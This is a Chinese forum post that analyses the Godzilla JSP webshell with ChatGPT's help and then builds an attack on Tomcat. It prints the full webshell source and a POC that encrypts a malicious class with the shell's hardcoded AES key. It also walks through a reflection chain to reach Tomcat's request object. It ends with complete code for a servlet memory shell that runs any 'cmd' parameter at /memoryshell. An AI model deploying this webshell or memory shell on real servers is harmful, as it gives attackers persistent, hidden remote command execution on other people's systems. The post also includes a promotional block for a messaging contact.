借助AI分析哥斯拉木马原理与Tomcat回显链路挖掘

打印 上一主题 下一主题

主题 942|帖子 942|积分 2836

前言

本次分析使用了ChatGPT进行辅助分析,大大提升了工作效率,很快就分析出木马的工作流程和构造出利用方式。

分析


  • 首先对该木马进行格式化,以增强代码的可读性。得到如下代码
  1. <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
  2.    <jsp:declaration>
  3.        String xc = "3c6e0b8a9c15224a";
  4.        String pass = "pass";
  5.        String md5 = md5(pass + xc);
  6.        class X extends ClassLoader
  7.        {
  8.            public X(ClassLoader z)
  9.            {
  10.                super(z);
  11.            }
  12.            public Class Q(byte[] cb)
  13.            {
  14.                return super.defineClass(cb, 0, cb.length);
  15.            }
  16.        }
  17.        /*
  18.        * 作用:AES解密
  19.        * m:true加密,False解密
  20.        * */
  21.        public byte[] x(byte[] s, boolean m)
  22.        {
  23.            try
  24.            {
  25.                javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
  26.                c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
  27.                return c.doFinal(s);
  28.            }
  29.            catch(Exception e)
  30.            {
  31.                return null;
  32.            }
  33.        }
  34.        /*
  35.        * 作用:md5加密
  36.        * */
  37.        public static String md5(String s)
  38.        {
  39.            String ret = null;
  40.            try
  41.            {
  42.                java.security.MessageDigest m;
  43.                m = java.security.MessageDigest.getInstance("MD5");
  44.                m.update(s.getBytes(), 0, s.length());
  45.                ret = new
  46.                        java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
  47.            }
  48.            catch(Exception e)
  49.            {}
  50.            return ret;
  51.        }
  52.        /*
  53.        * 作用:base64加密
  54.        * */
  55.        public static String base64Encode(byte[] bs) throws Exception
  56.        {
  57.            Class base64;
  58.            String value = null;
  59.            try
  60.            {
  61.                base64 = Class.forName("java.util.Base64");
  62.                Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
  63.                value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]
  64.                        {
  65.                                byte[].class
  66.                        }).invoke(Encoder, new Object[]
  67.                        {
  68.                                bs
  69.                        });
  70.            }
  71.            catch(Exception e)
  72.            {
  73.                try
  74.                {
  75.                    base64 = Class.forName("sun.misc.BASE64Encoder");
  76.                    Object Encoder = base64.newInstance();
  77.                    value = (String) Encoder.getClass().getMethod("encode", new Class[]
  78.                            {
  79.                                    byte[].class
  80.                            }).invoke(Encoder, new Object[]
  81.                            {
  82.                                    bs
  83.                            });
  84.                }
  85.                catch(Exception e2)
  86.                {}
  87.            }
  88.            return value;
  89.        }
  90.        /*
  91.        * base64解密
  92.        * */
  93.        public static byte[]base64Decode(String bs) throws Exception
  94.        {
  95.            Class base64;
  96.            byte[] value = null;
  97.            try
  98.            {
  99.                base64 = Class.forName("java.util.Base64");
  100.                Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
  101.                value = (byte[]) decoder.getClass().getMethod("decode", new Class[]
  102.                        {
  103.                                String.class
  104.                        }).invoke(decoder, new Object[]
  105.                        {
  106.                                bs
  107.                        });
  108.            }
  109.            catch(Exception e)
  110.            {
  111.                try
  112.                {
  113.                    base64 = Class.forName("sun.misc.BASE64Decoder");
  114.                    Object decoder = base64.newInstance();
  115.                    value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]
  116.                            {
  117.                                    String.class
  118.                            }).invoke(decoder, new Object[]
  119.                            {
  120.                                    bs
  121.                            });
  122.                }
  123.                catch(Exception e2)
  124.                {}
  125.            }
  126.            return value;
  127.        }
  128.    </jsp:declaration>
  129.    <jsp:scriptlet>
  130.        try
  131.        {
  132.            byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密
  133.            data = x(data, false);//AES解密
  134.            if(session.getAttribute("payload") == null)
  135.            {
  136.                session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载
  137.            }
  138.            else
  139.            {
  140.                request.setAttribute("parameters", new String(data));
  141.                Object f = ((Class) session.getAttribute("payload")).newInstance();
  142.                f.equals(pageContext);
  143.                response.getWriter().write(md5.substring(0, 16));
  144.                response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
  145.                response.getWriter().write(md5.substring(16));
  146.            }
  147.        }
  148.        catch(Exception e){
  149.            response.getWriter().write(e.getMessage());
  150.        }
  151.    </jsp:scriptlet>
  152. </jsp:root>
复制代码

  • 前期可以交付ChatGPT初步分析,理清各个函数的基本作用:
[img=720,311.0738255033557]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416506.png[/img]

  • 得知各个函数的基本功能之后我们主要看中的内容:
  1. try
  2.        {
  3.            byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密
  4.            data = x(data, false);//AES解密
  5.            if(session.getAttribute("payload") == null)
  6.            {
  7.                session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载
  8.            }
  9.            else
  10.            {
  11.                request.setAttribute("parameters", new String(data));
  12.                Object f = ((Class) session.getAttribute("payload")).newInstance();
  13.                f.equals(pageContext);
  14.                response.getWriter().write(md5.substring(0, 16));
  15.                response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
  16.                response.getWriter().write(md5.substring(16));
  17.            }
  18.        }
  19.        catch(Exception e){
  20.            response.getWriter().write(e.getMessage());
  21.        }
复制代码

  • 可以看到首先会获取pass参数中的内容,进行base64解密获得一个字节数组,传入给x(),该函数第二个参数为true时候是进行加密,而第二个参数是false时候是解密.因此在base64解密后接着是AES解密,其中秘钥在已经进行定义为xc变量它的值为3c6e0b8a9c15224a。在解密后会判断session.getAttribute("payload")是否为null,若不是null则将session中的payload变量设置为X类加载字节码后的类,在二次访问后对该类进行实例化。其基本流程如下:
[img=720,267.96521739130435]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416507.png[/img]
EXP构建

按照上述流程,我们可以编译一个class文件读取后进行AES加密->Base64加密得到EXP,恶意代码的构造,可以在静态代码段中进行编写,因为在类加载时候会自动调用静态代码段。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
exp.java
  1. package exp;
  2. import java.io.IOException;
  3. public class exp {
  4.    static {
  5.        try {
  6.            Runtime.getRuntime().exec("touch /tmp/gg.txt");
  7.        } catch (IOException e) {
  8.            e.printStackTrace();
  9.        }
  10.    }
  11. }
复制代码

  • 编译为class
  1. javac exp.java
复制代码

  • POC,我们可以利用木马中的x()、base64Encode当做EXP构成部分即可
  1. package Fvck;
  2. import java.io.*;
  3. class Fvck{
  4.    public static byte[] readFileToByteArray(String filePath) {
  5.        File file = new File(filePath);
  6.        byte[] fileBytes = new byte[(int) file.length()];
  7.        try (FileInputStream fis = new FileInputStream(file)) {
  8.            fis.read(fileBytes);
  9.        } catch (IOException e) {
  10.            e.printStackTrace();
  11.            return null;
  12.        }
  13.        return fileBytes;
  14.    }
  15.    public static byte[] AesEncode(byte[] s, boolean m)
  16.    {
  17.        String xc = "3c6e0b8a9c15224a";
  18.        try
  19.        {
  20.            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
  21.            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
  22.            return c.doFinal(s);
  23.        }
  24.        catch(Exception e)
  25.        {
  26.            return null;
  27.        }
  28.    }
  29.    public static String base64Encode(byte[] bs) throws Exception
  30.    {
  31.        Class base64;
  32.        String value = null;
  33.        try
  34.        {
  35.            base64 = Class.forName("java.util.Base64");
  36.            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
  37.            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]
  38.                    {
  39.                            byte[].class
  40.                    }).invoke(Encoder, new Object[]
  41.                    {
  42.                            bs
  43.                    });
  44.        }
  45.        catch(Exception e)
  46.        {
  47.            try
  48.            {
  49.                base64 = Class.forName("sun.misc.BASE64Encoder");
  50.                Object Encoder = base64.newInstance();
  51.                value = (String) Encoder.getClass().getMethod("encode", new Class[]
  52.                        {
  53.                                byte[].class
  54.                        }).invoke(Encoder, new Object[]
  55.                        {
  56.                                bs
  57.                        });
  58.            }
  59.            catch(Exception e2)
  60.            {}
  61.        }
  62.        return value;
  63.    }
  64.    public static void main(String[] args) throws Exception {
  65.        String result = base64Encode(AesEncode(readFileToByteArray("/Users/gqleung/Desktop/exp.class"),true));
  66.        System.out.println(result);
  67.    }
  68. }
复制代码
内存马注入

寻找Request

Java Object Searcher

基本使用方法

  • IDEA->File->Project Structure->SDKs->JDK home path,找到ClassPath地址
[img=720,580.078125]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416508.png[/img]

  • 将java-object-searcher-0.1.0-jar-with-dependencies.jar放到该地址下的/jre/lib/ext/中例如:
  1. /Library/Java/JavaVirtualMachines/jdk1.8.0_251.jdk/Contents/Home/jre/lib/ext/java-object-searcher-0.1.0-jar-with-dependencies.jar
复制代码

  • 回到IDEA->File->Project Structure->SDKs,将java-object-searcher-0.1.0-jar-with-dependencies.jar添加到依赖。
[img=720,580.078125]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416509.png[/img]

  • 在Tomcat上随便找个地方断点,后打开Evaluate
[img=720,411.781]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416510.png[/img]

  • 代码中设置日志输出文件夹,点击Evaluate
  1. //设置搜索类型包含Request关键字的对象
  2. List<Keyword> keys = new ArrayList<>();
  3. keys.add(new Keyword.Builder().setField_type("Request").build());
  4. //定义黑名单
  5. List<Blacklist> blacklists = new ArrayList<>();
  6. blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
  7. //新建一个广度优先搜索Thread.currentThread()的搜索器
  8. SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
  9. // 设置黑名单
  10. searcher.setBlacklists(blacklists);
  11. //打开调试模式,会生成log日志
  12. searcher.setIs_debug(true);
  13. //挖掘深度为20
  14. searcher.setMax_search_depth(20);
  15. //设置报告保存位置
  16. searcher.setReport_save_path("/Users/gqleung/Desktop");
  17. searcher.searchObject();
复制代码
[img=720,490.03484320557493]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416511.png[/img]

  • 在运行结束后会输出日志到保存的文件夹:
[img=720,464.45255474452557]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416512.png[/img]

  • 在其中找一条链子
  1. TargetObject = {org.apache.tomcat.util.threads.TaskThread}
  2.   ---> group = {java.lang.ThreadGroup}
  3.    ---> threads = {class [Ljava.lang.Thread;}
  4.     ---> [17] = {java.lang.Thread}
  5.      ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}
  6.       ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}
  7.         ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler}
  8.          ---> global = {org.apache.coyote.RequestGroupInfo}
复制代码

  • 创建一个线程根据上面链子寻找
[img=720,490.03484320557493]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416513.png[/img]
代码编写
与上面一致,我们在index.jsp中随便找个地方下断点,Evaluate中进行查找。根据链子我们第一步是获取group,我们通过当前线程去获取该对象。

  • 获取group
  1. Thread thread = Thread.currentThread();//获取线程对象
  2. Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");//获取group属性
  3. groupField.setAccessible(true);
  4. ThreadGroup group = (ThreadGroup)groupField.get(thread);//读取group属性的值
复制代码
[img=720,476.96900114810563]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416514.png[/img]

  • 获取threads
获取threads方法与获取group基本一致
  1. /*获取group*/
  2. Thread thread = Thread.currentThread();
  3. Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
  4. groupField.setAccessible(true);
  5. ThreadGroup group = (ThreadGroup)groupField.get(thread);
  6. /*获取threads*/
  7. Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
  8. threadsField.setAccessible(true);
  9. Thread[] threads = (Thread[])threadsField.get(group);
复制代码
[img=720,411.78596247394023]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416510.png[/img]
我们链子下一个对象是这个数组的第18个元素,也就是下标为17的元素,直接通过下标获取即可,注意一下数据类型。
  1. /*获取group*/
  2. Thread thread = Thread.currentThread();
  3. Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
  4. groupField.setAccessible(true);
  5. ThreadGroup group = (ThreadGroup)groupField.get(thread);
  6. /*获取threads*/
  7. Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
  8. threadsField.setAccessible(true);
  9. Thread[] threads = (Thread[])threadsField.get(group);Thread t17 = threads[17];
复制代码
[img=720,476.96900114810563]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416515.png[/img]

  • 获取target
在链子中target是在org.apache.tomcat.util.net.NioEndpoint$Poller一个内部类中,我们直接使用这个包权限不够获取,因此可以使用上一个对象直接getClass()去获取,同时该数据类型权限也不够,因此需要用Object去代替.
  1. /*获取group*/
  2. Thread thread = Thread.currentThread();
  3. Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
  4. groupField.setAccessible(true);
  5. ThreadGroup group = (ThreadGroup)groupField.get(thread);
  6. /*获取threads*/
  7. Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
  8. threadsField.setAccessible(true);
  9. Thread[] threads = (Thread[])threadsField.get(group);Thread t17 = threads[17];/*获取target*/Field targetField = t17.getClass().getDeclaredField("target");targetField.setAccessible(true);Object target = targetField.get(t17);
复制代码
[img=720,476.96900114810563]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416516.png[/img]

  • 获取this$0
获取方法以及原因同上
  1. /*获取group*/
  2. Thread thread = Thread.currentThread();
  3. Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
  4. groupField.setAccessible(true);
  5. ThreadGroup group = (ThreadGroup)groupField.get(thread);
  6. /*获取threads*/
  7. Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
  8. threadsField.setAccessible(true);
  9. Thread[] threads = (Thread[])threadsField.get(group);Thread t17 = threads[17];/*获取target*/Field targetField = t17.getClass().getDeclaredField("target");targetField.setAccessible(true);Object target = targetField.get(t17);/*获取this$0*/Field this$0Field = target.getClass().getDeclaredField("this$0");this$0Field.setAccessible(true);Object this$0 = this$0Field.get(target);
复制代码
[img=720,476.96900114810563]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416517.png[/img]

  • 获取handler
这里我们直接同上方法会报错,我们用Class.forName去指定包来获取看看
[img=720,476.96900114810563]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416518.png[/img]
我们却发现还是报错了,报错提示并不存在handler这个字段
[img=720,476.96900114810563]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416519.png[/img]
我们直接从依赖中看,AbstractProtocol确实不存在handler,但是存在handler数据类型,并且这个数据类型是来自org.apache.tomcat.util.net.AbstractEndpoint.Handler

我们直接尝试从这个包获取handler,发现获取成功
  1. /*获取group*/
  2. Thread thread = Thread.currentThread();
  3. Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
  4. groupField.setAccessible(true);
  5. ThreadGroup group = (ThreadGroup)groupField.get(thread);
  6. /*获取threads*/
  7. Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
  8. threadsField.setAccessible(true);
  9. Thread[] threads = (Thread[])threadsField.get(group);Thread t17 = threads[17];/*获取target*/Field targetField = t17.getClass().getDeclaredField("target");targetField.setAccessible(true);Object target = targetField.get(t17);/*获取this$0*/Field this$0Field = target.getClass().getDeclaredField("this$0");this$0Field.setAccessible(true);Object this$0 = this$0Field.get(target);/*获取handler*/Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");handlerField.setAccessible(true);Object handler = handlerField.get(this$0);​
复制代码
[img=720,476.96900114810563]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416521.png[/img]

  • 获取global
在获取到handler之后直接通过getClass获取即可
  1. /*获取group*/
  2. Thread thread = Thread.currentThread();
  3. Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
  4. groupField.setAccessible(true);
  5. ThreadGroup group = (ThreadGroup)groupField.get(thread);
  6. /*获取threads*/
  7. Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
  8. threadsField.setAccessible(true);
  9. Thread[] threads = (Thread[])threadsField.get(group);Thread t17 = threads[17];/*获取target*/Field targetField = t17.getClass().getDeclaredField("target");targetField.setAccessible(true);Object target = targetField.get(t17);/*获取this$0*/Field this$0Field = target.getClass().getDeclaredField("this$0");this$0Field.setAccessible(true);Object this$0 = this$0Field.get(target);/*获取handler*/Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");handlerField.setAccessible(true);Object handler = handlerField.get(this$0);/*获取global*/Field globalField = handler.getClass().getDeclaredField("global");globalField.setAccessible(true);Object global = globalField.get(handler);
复制代码

  • 回显链最终代码
  1. /*获取group*/
  2. Thread thread = Thread.currentThread();
  3. Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
  4. groupField.setAccessible(true);
  5. ThreadGroup group = (ThreadGroup)groupField.get(thread);
  6. /*获取threads*/
  7. Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
  8. threadsField.setAccessible(true);
  9. Thread[] threads = (Thread[])threadsField.get(group);Thread t17 = threads[17];/*获取target*/Field targetField = t17.getClass().getDeclaredField("target");targetField.setAccessible(true);Object target = targetField.get(t17);/*获取this$0*/Field this$0Field = target.getClass().getDeclaredField("this$0");this$0Field.setAccessible(true);Object this$0 = this$0Field.get(target);/*获取handler*/Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");handlerField.setAccessible(true);Object handler = handlerField.get(this$0);/*获取global*/Field globalField = handler.getClass().getDeclaredField("global");globalField.setAccessible(true);RequestGroupInfo global = (RequestGroupInfo)globalField.get(handler);/*获取processors*/Field processorsField = global.getClass().getDeclaredField("processors");processorsField.setAccessible(true);ArrayList processors = (ArrayList)processorsField.get(global);Object p0 = processors.get(0);/*获取request*/Field reqField = p0.getClass().getDeclaredField("req");reqField.setAccessible(true);org.apache.coyote.Request req = (org.apache.coyote.Request)reqField.get(p0);org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
复制代码

  • 结合内存马
  1. import org.apache.catalina.Wrapper;
  2. import org.apache.catalina.core.ApplicationContext;
  3. import org.apache.catalina.core.StandardContext;
  4. import org.apache.coyote.RequestGroupInfo;
  5. import javax.servlet.ServletContext;
  6. import javax.servlet.http.HttpServlet;
  7. import javax.servlet.http.HttpServletRequest;
  8. import javax.servlet.http.HttpServletResponse;
  9. import java.io.*;
  10. import java.lang.reflect.Field;
  11. import java.util.ArrayList;
  12. public class exp extends HttpServlet {
  13.    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
  14.        response.setContentType("text/html");
  15.        String cmd = request.getParameter("cmd");
  16.        PrintWriter out = response.getWriter();
  17.        try {
  18.            Process ps = Runtime.getRuntime().exec(cmd);
  19.            BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
  20.            StringBuffer sb = new StringBuffer();
  21.            String line;
  22.            while ((line = br.readLine()) != null) {
  23.                sb.append(line).append("\n");
  24.            }
  25.            String result = sb.toString();
  26.            out.print(result);
  27.        } catch (Exception e) {
  28.            e.printStackTrace();
  29.        }
  30.    }
  31.    static {
  32.        try {
  33.            Thread thread = Thread.currentThread();
  34.            Field group = Class.forName("java.lang.Thread").getDeclaredField("group");
  35.            group.setAccessible(true);
  36.            ThreadGroup threadGroup = (ThreadGroup) group.get(thread);
  37.            Field threads = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
  38.            threads.setAccessible(true);
  39.            Thread[] thread1 = (Thread[]) threads.get(threadGroup);
  40.            Thread t17 = thread1[17];
  41.            Field targetField = Class.forName("java.lang.Thread").getDeclaredField("target");
  42.            targetField.setAccessible(true);
  43.            Object target = targetField.get(t17);
  44.            Field this$0Field = target.getClass().getDeclaredField("this$0");
  45.            this$0Field.setAccessible(true);
  46.            Object this$0 = this$0Field.get(target);
  47.            Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
  48.            handlerField.setAccessible(true);
  49.            Object handler = handlerField.get(this$0);
  50.            Field globalField = handler.getClass().getDeclaredField("global");
  51.            globalField.setAccessible(true);
  52.            RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
  53.            Field processorsField = global.getClass().getDeclaredField("processors");
  54.            processorsField.setAccessible(true);
  55.            ArrayList processors = (ArrayList) processorsField.get(global);
  56.            Object r0 = processors.get(0);
  57.            Field reqField = r0.getClass().getDeclaredField("req");
  58.            reqField.setAccessible(true);
  59.            org.apache.coyote.Request req = (org.apache.coyote.Request) reqField.get(r0);
  60.            org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
  61.            ServletContext servletContext = request.getServletContext();
  62.            Field applicationContextField = servletContext.getClass().getDeclaredField("context");//获取servletContext中的context属性
  63.            applicationContextField.setAccessible(true);//设置该属性可访问性为True
  64.            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);//通过反射获取applicationContextField中context的值
  65.            Field standarContextField = applicationContext.getClass().getDeclaredField("context");//获取context属性值
  66.            standarContextField.setAccessible(true);//设置该属性可访问性为True
  67.            StandardContext context = (StandardContext) standarContextField.get(applicationContext);//通过反射获取context的值也就是StandardContext
  68. //注册Servlet
  69.            Wrapper wrapper  = context.createWrapper();//创建一个Wrapper
  70.            wrapper.setName("MemShellServlet");//设置Servlet名字
  71.            wrapper.setServletClass(exp.class.getName());
  72.            wrapper.setServlet(new exp());//实例化Servlet并设置对象为该Servlet
  73.            context.addChild(wrapper);//添加进Context
  74.            context.addServletMappingDecoded("/memoryshell","MemShellServlet");//注册Mapping
  75.        } catch (Exception e) {
  76.        }
  77.    }
  78. }
复制代码
使用哥斯拉木马注入Tomcat Servlet内存马


  • 在tomcat中运行上述代码可以在网站WEB-INF/classes/exp.class生成class,我们根据前面构造的EXP生成的base64,(注意需要url编码)


  • 需要访问两次才能触发
[img=720,393.04589707927676]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416523.png[/img]

  • 成功注入内存马
[img=720,295.2775476387738]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416524.png[/img]
更多网安技能的在线实操练习,请点击这里>>
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

宁睿

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表